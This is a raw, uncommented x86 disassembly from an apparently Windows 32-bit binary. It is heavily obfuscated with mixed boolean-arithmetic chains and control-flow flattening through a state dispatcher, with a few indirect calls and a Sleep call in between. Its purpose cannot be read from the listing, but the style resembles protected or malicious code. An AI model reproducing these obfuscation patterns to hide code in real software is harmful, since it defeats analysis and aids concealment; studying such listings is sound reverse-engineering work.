xor esi, 0x41773410
mov edx, 0xffffffff
xor edx, 0x7e2aea9d
and eax, 0x7e2aea9d
and ecx, edx
mov edi, esi
and edi, 0x7e2aea9d
mov ebx, edx
and ebx, 0x41773410
or eax, ecx
mov ecx, dword [ebp - 0xc0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x7e2aea9d
and ecx, edx
or eax, ecx
xor eax, 0x34b304a8
mov ecx, eax
xor ecx, 0xeae1a97e
mov edx, 0xffffffff
xor edx, 0xeae1a97e
and eax, edx
shl eax, 1
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x8fb4b18f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8fb4b18f
or eax, 0x8fb4b18f
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xb6df5db3
xor ecx, 0xffffffff
and ecx, 0xb6df5db3
shl ecx, 1
sub ecx, 0xb6df5db3
sub eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf0e03dc
mov edx, 0xffffffff
xor edx, 0xf0e03dc
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xf9bbccd
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0x2c60389f
mov edi, 0xffffffff
xor edi, 0xe2f73674
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0xe2f73674
or esi, 0xe2f73674
imul esi, edx
add esi, ecx
mov ecx, 0xd3ad54d3
mov edx, 0x1a5b5f8f
cmp esi, 0xdf1ba9e6
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdd04]
or eax, dword [0x101cdd08]
mov ecx, 0xcc171866
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x39b06d84
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x39b06d84
or eax, 0x39b06d84
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa30d35a8
or ecx, edx
mov edx, 0xa30d35a8
and edx, 0xa30d35a8
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0x1042fb7e
xor eax, 0xffffffff
or ecx, 0x1042fb7e
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xe47093fe
or ecx, 0xe47093fe
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xbe577737
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x87f1c31b
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xd0], eax
mov esi, 0xffffffff
xor esi, 0xc93521e8
mov edx, 0xffffffff
xor edx, 0x9da32276
and eax, 0x9da32276
and ecx, edx
mov edi, esi
and edi, 0x9da32276
mov ebx, edx
and ebx, 0xc93521e8
or eax, ecx
mov ecx, dword [ebp - 0xd0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x9da32276
and ecx, edx
or eax, ecx
mov ecx, 0xcb4f97c4
xor edx, edx
div ecx
xor eax, 0xfe3ae75b
imul eax, eax, 0xa2b7276b
xor eax, 0x2a2e127f
mov ecx, 0xc183dfca
xor edx, edx
div ecx
mov ecx, 0x8e9a25e7
xor edx, edx
div ecx
mov ecx, 0x8463c5fb
xor edx, edx
div ecx
mov ecx, 0x76c6ad35
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x90b611fb
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xcc], eax
mov esi, 0xffffffff
xor esi, 0xb23c2eda
mov edx, 0xffffffff
xor edx, 0xf0481463
and eax, 0xf0481463
and ecx, edx
mov edi, esi
and edi, 0xf0481463
mov ebx, edx
and ebx, 0xb23c2eda
or eax, ecx
mov ecx, dword [ebp - 0xcc]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xf0481463
and ecx, edx
or eax, ecx
sub eax, 0xc15ffcb8
add eax, 0x8b1c7a9f
add eax, 0xc15ffcb8
or eax, 0xb340efa8
mov ecx, eax
xor ecx, 0x9721974b
mov edx, 0xffffffff
xor edx, 0x9721974b
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x37b27e6c
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x55ba7b2d
xor ecx, 0xef7bd7d2
add ecx, 0xb3702d21
mov eax, ecx
and eax, 0xf2f07412
shl eax, 1
add ecx, 0xf2f07412
sub ecx, eax
mov eax, ecx
and eax, 0xbfdf8308
xor ecx, 0xbfdf8308
or eax, ecx
and eax, 0x3f6cd493
or eax, 0xd38a770c
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xa5a328e4
and ecx, 0xa5a328e4
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
and eax, 0x492ba68b
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x5f75875d
and esi, ecx
or eax, 0x5f75875d
xor eax, 0xffffffff
or esi, eax
xor esi, 0xffffffff
add esi, 0x1dfbce1f
mov eax, esi
xor eax, 0xffffffff
and eax, 0x19bbd05d
mov edx, 0xffffffff
xor edx, 0x19bbd05d
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x2f7d6908
and ecx, 0x19bbd05d
and edx, 0x2f7d6908
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xc3745bca
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0x865520d3
sub esi, 0x23a2a42b
add esi, 0x865520d3
mov ecx, esi
xor ecx, 0x29e669a4
mov edx, 0xffffffff
xor edx, 0x29e669a4
and esi, edx
shl esi, 1
sub esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0x5ab8e7c7
mov edi, 0xffffffff
xor edi, 0x5ab8e7c7
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x5ab8e7c7
or esi, 0x5ab8e7c7
imul esi, edx
add esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xca89251d
add esi, ecx
add esi, 1
add esi, 0x2bfcc44f
mov ecx, 0x27a61018
mov edx, 0x19e662e2
cmp esi, 0xc2ef67f7
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0xc5]
mov ecx, 0xed38b450
mov edx, 0x47bb3523
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdd4c]
mov esi, dword [0x101cdd50]
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, esi
add eax, edx
sub eax, ecx
mov ecx, 0x6363a0db
xor edx, edx
div ecx
xor eax, 0xad2cafb9
add eax, 0x460ab72
add eax, 0x81490d4c
xor eax, 0xffca539e
mov ecx, 0x9b5bc6d7
xor edx, edx
div ecx
mov ecx, 0x4655b49f
xor edx, edx
div ecx
add eax, 0xe0848730
add eax, 0xcf14eef3
sub eax, 0xe0848730
imul eax, eax, 0x3287a1fa
add eax, 0x372028b7
add eax, 0x64454dec
sub eax, 0x372028b7
mov ecx, eax
and ecx, 0x3be94d8
xor ecx, 0xffffffff
add eax, 0x3be94d8
add eax, 1
add eax, ecx
and eax, 0xe77c139a
sub eax, 0xca05e0be
add eax, 0x5090ecba
add eax, 0xca05e0be
sub eax, 0xeddeb516
mov esi, 0xffffffff
xor esi, 0x31c105a3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x31c105a3
or eax, 0x31c105a3
imul eax, edx
add eax, ecx
xor eax, 0x146cdb24
mov ecx, 0x1cf496c
xor edx, edx
div ecx
mov ecx, 0x61f374a5
xor edx, edx
div ecx
or eax, 0xe400e4c7
sub eax, 0x3d2ef999
sub eax, 0x44494cb0
add eax, 0x3d2ef999
xor eax, 0x25e3046c
mov ecx, eax
and ecx, 0x67e6fa46
xor ecx, 0xffffffff
add eax, 0x67e6fa46
add eax, 1
add eax, ecx
imul eax, eax, 0xfb0056f4
mov ecx, eax
xor ecx, 0x5455d979
xor ecx, 0xffffffff
and ecx, 0x5455d979
shl ecx, 1
sub ecx, 0x5455d979
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x67ab4d55
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x67ab4d55
or eax, 0x67ab4d55
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xdc9ec7ba
mov esi, 0xffffffff
xor esi, 0xdc9ec7ba
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xdc9ec7ba
or eax, 0xdc9ec7ba
imul eax, edx
add eax, ecx
sub eax, 0xf45aa36a
mov ecx, 0x463fa998
xor edx, edx
div ecx
sub eax, 0x191bb478
mov ecx, 0x763d63f0
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0x93f9033a
sub ecx, 0xb9d8c1de
imul ecx, ecx, 0xed7aa51d
or ecx, 0xcdde10f6
imul ecx, ecx, 0x1b1b539f
xor ecx, 0xa80472fc
sub ecx, 0xea7f2c5e
mov edx, 0xffffffff
xor edx, 0x9ad639c9
add ecx, edx
add ecx, 1
imul ecx, ecx, 0x3aae523c
mov esi, ecx
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and esi, edx
mov edx, 0x14eb623f
or edx, 0x14eb623f
xor edx, 0xffffffff
or esi, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x14eb623f
and ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
mov ecx, 0xf62889cc
mov edx, 0xe98e7245
cmp esi, 0x6b09f7b6
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdd64]
mov ecx, dword [0x101cdd68]
sub eax, 0x7efaaa32
sub eax, ecx
add eax, 0x7efaaa32
mov ecx, eax
xor ecx, 0x90c22280
xor ecx, 0xffffffff
or eax, 0x90c22280
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x5ac33aac
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5ac33aac
or eax, 0x5ac33aac
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xb8f8d28f
add eax, ecx
sub eax, 0x4d5bbc09
mov ecx, 0x6f8f49f
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xbb876f6e
or ecx, 0xbb876f6e
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x597f77cd
xor edx, edx
div ecx
or eax, 0x9239c1e1
mov ecx, 0x492e7c46
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xae7f80fc
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xe42ee1c6
mov edx, 0xffffffff
xor edx, 0xe42ee1c6
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, 0xea30748a
sub eax, ecx
and eax, 0x29e7b0d6
sub eax, 0x6e6d0d8c
mov ecx, 0xb2939da5
xor edx, edx
div ecx
add eax, 0xbae4cac9
and eax, 0x98297dd2
sub eax, 0x8eb3ecb5
add eax, 0x79b09051
add eax, 0x8eb3ecb5
mov ecx, 0x497a5da2
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x8eec6b4b
xor eax, 0x8eec6b4b
or ecx, eax
mov eax, ecx
and eax, 0xfc899b01
xor eax, 0xffffffff
and ecx, 0xfc899b01
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
imul ecx, eax, 0xe5ec19b6
xor ecx, 0xb84de9cd
mov eax, ecx
and eax, 0xe2da764c
xor ecx, 0xe2da764c
or eax, ecx
mov ecx, 0xb1b75e35
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x517db973
mov esi, 0xffffffff
xor esi, 0x3d582a37
mov eax, edx
and eax, 0x3d582a37
mov dword [ebp - 0x110], eax
and ecx, esi
mov ebx, edi
and ebx, 0x3d582a37
mov eax, esi
and eax, 0x517db973
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x110]
or eax, ecx
mov ecx, dword [ebp - 0x10c]
or ebx, ecx
mov ecx, dword [ebp - 0x80]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x3d582a37
and edx, esi
or eax, edx
imul eax, eax, 0x742d946f
mov esi, 0x7e3bf93d
xor edx, edx
div esi
or eax, 0x9892ead
mov edx, 0xffffffff
xor edx, 0x1670e9c4
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
or eax, 0x7485ee0e
mov esi, 0xffffffff
xor esi, 0x2928fef6
mov edx, eax
and edx, esi
mov esi, eax
xor esi, 0x2928fef6
add eax, esi
sub eax, edx
add eax, 0x16cd2464
add eax, 0x8a025e68
sub eax, 0x16cd2464
sub eax, 0xd9ee9cd6
mov esi, 0x1389b682
xor edx, edx
div esi
mov edx, eax
and edx, 0xcc66dea1
shl edx, 1
add eax, 0xcc66dea1
sub eax, edx
mov esi, 0xb50fa35a
xor edx, edx
div esi
mov edx, dword [ebp - 0x7c]
xor esi, esi
sub esi, eax
xor eax, eax
sub eax, 0x26cff156
add esi, eax
xor eax, eax
sub eax, esi
mov esi, eax
and esi, 0xf040e008
shl esi, 1
add eax, 0xf040e008
sub eax, esi
imul esi, eax, 0xcc8f833c
mov eax, dword [0x101d23e0]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1c]
mov ecx, 0xff34dbae
mov edx, 0x49b2707a
cmp esi, 0xc2f7b1ad
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov edi, dword [ebp - 0x7c]
mov eax, dword [0x101cdd7c]
mov edx, dword [0x101cdd80]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor edx, 0xffffffff
and eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xd5299cf0
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0xc85cb96d
sub eax, 0x502aecc2
sub eax, 0x1114614e
add eax, 0x502aecc2
or eax, 0xbb27874e
mov ecx, 0x8620cde6
xor edx, edx
div ecx
mov ecx, 0x8415815b
xor edx, edx
div ecx
sub eax, 0xc17bd943
mov ecx, 0xffffffff
xor ecx, 0x34dc3a79
add eax, ecx
add eax, 1
mov ecx, 0x47f3ae21
xor edx, edx
div ecx
mov ecx, 0xd245d9c5
xor edx, edx
div ecx
imul eax, eax, 0x409b6eb0
mov ecx, eax
xor ecx, 0xff9e491e
mov edx, 0xffffffff
xor edx, 0xff9e491e
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
and ecx, 0x664d4d47
xor ecx, 0xffffffff
add eax, 0x664d4d47
add eax, 1
add eax, ecx
and eax, 0x8ce357a3
sub eax, 0x812da494
xor eax, 0xb012ed53
and eax, 0x53313ac1
xor ecx, ecx
sub ecx, 0x6725c32e
add eax, ecx
mov ecx, 0x874ecc8
xor edx, edx
div ecx
sub eax, 0x543b2c5d
add eax, 0xe82c276a
add eax, 0x543b2c5d
mov ecx, 0xffffffff
xor ecx, 0xdc7bad92
mov esi, eax
xor esi, ecx
and esi, eax
or esi, esi
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xec6b28f7
mov ecx, 0xffffffff
xor ecx, 0xec6b28f7
and eax, ecx
or esi, eax
xor esi, 0xffffffff
mov eax, esi
xor eax, 0xffffffff
and eax, 0xb056cfb1
mov edx, 0xffffffff
xor edx, 0xb056cfb1
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x8b226c3d
and ecx, 0xb056cfb1
and edx, 0x8b226c3d
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9b81a2c9
mov edx, 0xffffffff
xor edx, 0x9b81a2c9
and eax, edx
sub eax, ecx
mov ecx, 0xb0dc0a77
xor edx, edx
div ecx
or eax, 0xa47c409a
and eax, 0x2af3e2cc
xor ecx, ecx
sub ecx, 0x75815a67
add eax, ecx
mov ecx, eax
xor ecx, 0x36cdb4c4
xor ecx, 0xffffffff
or eax, 0x36cdb4c4
and eax, ecx
xor eax, 0x81e3b788
mov ecx, eax
and ecx, 0x3f11fba0
shl ecx, 1
add eax, 0x3f11fba0
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xdd0855e2
add eax, ecx
add eax, 1
mov ecx, eax
and ecx, 0xba90dbbe
xor ecx, 0xffffffff
add eax, 0xba90dbbe
add eax, 1
add eax, ecx
and eax, 0x7eeab384
mov edx, eax
xor edx, 0xffffffff
and edx, 0x619bd1f2
mov esi, 0xffffffff
xor esi, 0x619bd1f2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x619bd1f2
or eax, 0x619bd1f2
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x1f523525
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xdd6f6b2a
mov edx, 0xffffffff
xor edx, 0xdd6f6b2a
and ecx, edx
or eax, ecx
mov ecx, eax
and ecx, 0xf81d1283
shl ecx, 1
add eax, 0xf81d1283
sub eax, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xdf75c8c5
mov ecx, 0xffffffff
xor ecx, 0xdf75c8c5
and eax, ecx
or esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x23280f4
mov edx, 0xffffffff
xor edx, 0x23280f4
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0x23280f4
or esi, 0x23280f4
imul esi, ecx
add esi, eax
sub esp, 4
mov dword [esp], 0x104
call fcn.101ad82a
mov edx, dword [ebp - 0x74]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov ecx, dword [0x101cb5fa]
mov dword [edx], ecx
mov ecx, dword [0x101cb5fe]
mov dword [edx + 4], ecx
mov ecx, dword [0x101cb602]
mov dword [edx + 8], ecx
mov cl, byte [0x101cb606]
mov byte [edx + 0xc], cl
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.101b40e0
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, dword [0x101d22f0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
lea eax, [0x101d1930]
add eax, 0x1f4
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
lea eax, [0x101c6a43]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov ecx, dword [0x101d23e4]
mov dword [ebp - 0x120], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x120]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [ebp - 0x84]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
sete cl
mov byte [ebp - 0x119], cl
mov ecx, 0xa9872c3c
mov edx, 0x1c526d86
cmp esi, 0xd0bb08c0
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [ebp - 0x94]
mov eax, dword [0x101cdd94]
and eax, dword [0x101cdd98]
xor eax, 0x88db502a
or eax, 0x284a5c0b
add eax, 0x3ef91459
add eax, 0x986a5f5b
sub eax, 0x3ef91459
mov esi, 0x39b7ae3e
xor edx, edx
div esi
sub eax, 0xa6035546
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0xda1591d6
add edx, eax
xor eax, eax
sub eax, edx
sub eax, 0x5a815849
sub eax, 0xf0f93dd5
add eax, 0x5a815849
add eax, 0x5e47a4eb
sub eax, 0x110323f7
sub eax, 0x5e47a4eb
sub eax, 0x2c36559c
sub eax, 0x3e1bf75b
add eax, 0x2c36559c
xor eax, 0x1e519ecc
mov esi, 0x64a3714c
xor edx, edx
div esi
add eax, 0x54fd7e23
mov esi, 0x7821306a
xor edx, edx
div esi
mov edi, 0xffffffff
xor edi, 0xc5cdbb75
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xc5cdbb75
or eax, 0xc5cdbb75
imul eax, esi
add eax, edx
mov edx, eax
add edx, 1
xor eax, 0xffffffff
or eax, 0x253a17b5
add eax, edx
and eax, 0x4816384b
and eax, 0xb1af021
xor edx, edx
sub edx, 0x4ef5c3a8
sub eax, edx
xor eax, 0x4565a888
or eax, 0x6413bfdf
mov esi, 0x9f7a6f9f
xor edx, edx
div esi
mov edx, 0xffffffff
xor edx, 0xe4226ddc
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
mov edx, eax
xor edx, 0xac949c11
mov esi, 0xffffffff
xor esi, 0xac949c11
and eax, esi
shl eax, 1
sub eax, edx
imul edx, eax, 0xe4117d72
or edx, 0x965d7172
mov eax, edx
xor eax, 0x2bd3d264
xor eax, 0xffffffff
or edx, 0x2bd3d264
and edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x10b196b5
and eax, esi
or edx, 0x10b196b5
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor eax, 0xdc7230e0
add eax, 0xe4430b8f
and eax, 0xdcecd1ab
add eax, 0xa888ea2b
add eax, 0xc5457614
sub eax, 0xa888ea2b
mov esi, 0x50d6738a
xor edx, edx
div esi
and eax, 0x91cb2667
mov esi, 0x4a3bbc09
xor edx, edx
div esi
xor eax, 0x523c66a2
sub eax, 0x70b51ce5
sub eax, 0x15006d33
add eax, 0x70b51ce5
mov esi, 0x3b44e274
xor edx, edx
div esi
mov edx, eax
mov eax, dword [ebp - 0x1c]
sub edx, 0x5191d8ba
imul esi, edx, 0xfb964e4f
xor esi, 0x3f1326a3
mov dword [ecx], 0
mov ecx, 0xa8900195
mov edx, 0x787abf92
cmp esi, 0x71d33065
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xed54afe4
jmp 0x1009a830
mov eax, dword [0x101cdda4]
mov esi, dword [0x101cdda8]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
add eax, 0xe4549f96
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd8a683fd
mov esi, 0xffffffff
xor esi, 0xd8a683fd
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd8a683fd
or eax, 0xd8a683fd
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x3c6b9946
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0xfe92d2f2
xor edx, edx
div ecx
or eax, 0x9dbd077b
xor eax, 0x4b6768f2
add eax, 0x34956201
mov esi, 0xffffffff
xor esi, 0x7395b6bb
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7395b6bb
or eax, 0x7395b6bb
imul eax, edx
add eax, ecx
imul ecx, eax, 0xfe274a5
or ecx, 0x89250b1c
add ecx, 0xcb46d7ea
and ecx, 0xd364291a
and ecx, 0x1cc46154
mov eax, ecx
or eax, 0x465271a2
xor eax, 0xffffffff
or ecx, 0x465271a2
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0x5ab5e29d
sub eax, 0x5b755178
mov ecx, 0x231244bb
xor edx, edx
div ecx
mov ecx, 0xa1a52e37
xor edx, edx
div ecx
sub eax, 0x9ba5fee0
sub eax, 0xac75b46b
add eax, 0x9ba5fee0
xor eax, 0xa426d06b
mov ecx, 0x312930f3
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xfa94d5d7
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x3bf4cfae
or eax, 0x7c752695
imul eax, eax, 0x7420c26d
mov ecx, 0x7c5d8047
xor edx, edx
div ecx
imul eax, eax, 0xe9adb11
or eax, 0x9e2f25b5
add eax, 0xdfb02567
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x12c], edx
mov esi, 0xffffffff
xor esi, 0xe986430a
mov ecx, 0xffffffff
xor ecx, 0x1def8749
and edx, 0x1def8749
and eax, ecx
mov edi, esi
and edi, 0x1def8749
mov ebx, ecx
and ebx, 0xe986430a
or edx, eax
mov eax, dword [ebp - 0x12c]
or edi, ebx
mov ebx, dword [ebp - 0x68]
xor edx, edi
mov edi, dword [ebp - 0x64]
or eax, esi
xor eax, 0xffffffff
or ecx, 0x1def8749
and eax, ecx
or edx, eax
or edx, 0x336cbdbc
add edx, 0x778cb110
mov eax, edx
xor eax, 0x141645d9
xor eax, 0xffffffff
or edx, 0x141645d9
and edx, eax
add edx, 0x603935c8
mov eax, 0xffffffff
xor eax, 0x2498c343
mov esi, edx
and esi, eax
mov ecx, edx
or ecx, eax
mov eax, dword [ebp - 0x6c]
xor ecx, 0xffffffff
imul ecx, esi
mov esi, edx
and esi, 0x2498c343
or edx, 0x2498c343
imul edx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x44081ee5
add ecx, edx
xor esi, esi
sub esi, ecx
sub esi, 0xd343affc
and esi, esi
xor esi, 0xffffffff
mov ecx, 0x34c0d156
and ecx, 0x34c0d156
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
xor esi, 0xf2b9f1f5
or esi, 0x54fc1088
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.101af9c0
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 1
mov dword [ecx], 0
mov ecx, 0xd04e2447
mov edx, 0xc695a554
cmp esi, 0x45f5019b
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x7c23de35
jmp 0x1009a830
mov ecx, dword [ebp - 0x7c]
mov edx, dword [0x101cddc4]
mov esi, dword [0x101cddc8]
mov eax, edx
xor eax, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
or eax, edi
xor eax, 0xffffffff
mov edi, esi
xor edi, 0xffffffff
or eax, edi
and esi, esi
xor esi, 0xffffffff
and edx, esi
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor eax, 0x738d78d4
mov edx, 0xffffffff
xor edx, 0x532fbfaa
add eax, edx
add eax, 1
mov esi, eax
xor esi, 0xffffffff
and esi, 0x6c19e420
mov edi, 0xffffffff
xor edi, 0x6c19e420
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0x6c19e420
or eax, 0x6c19e420
imul eax, esi
add eax, edx
mov edx, eax
add edx, 1
xor eax, 0xffffffff
or eax, 0xf1468950
add eax, edx
xor eax, 0x137c62dd
imul eax, eax, 0xb6bf58a1
mov esi, 0x328eb4bb
xor edx, edx
div esi
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9aa6dc9e
mov esi, 0xffffffff
xor esi, 0x9aa6dc9e
and eax, esi
sub eax, edx
or eax, 0x472ea2c1
mov edx, eax
and edx, 0x9943e988
shl edx, 1
xor eax, 0x9943e988
add eax, edx
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0xe8fbe8e
add edx, eax
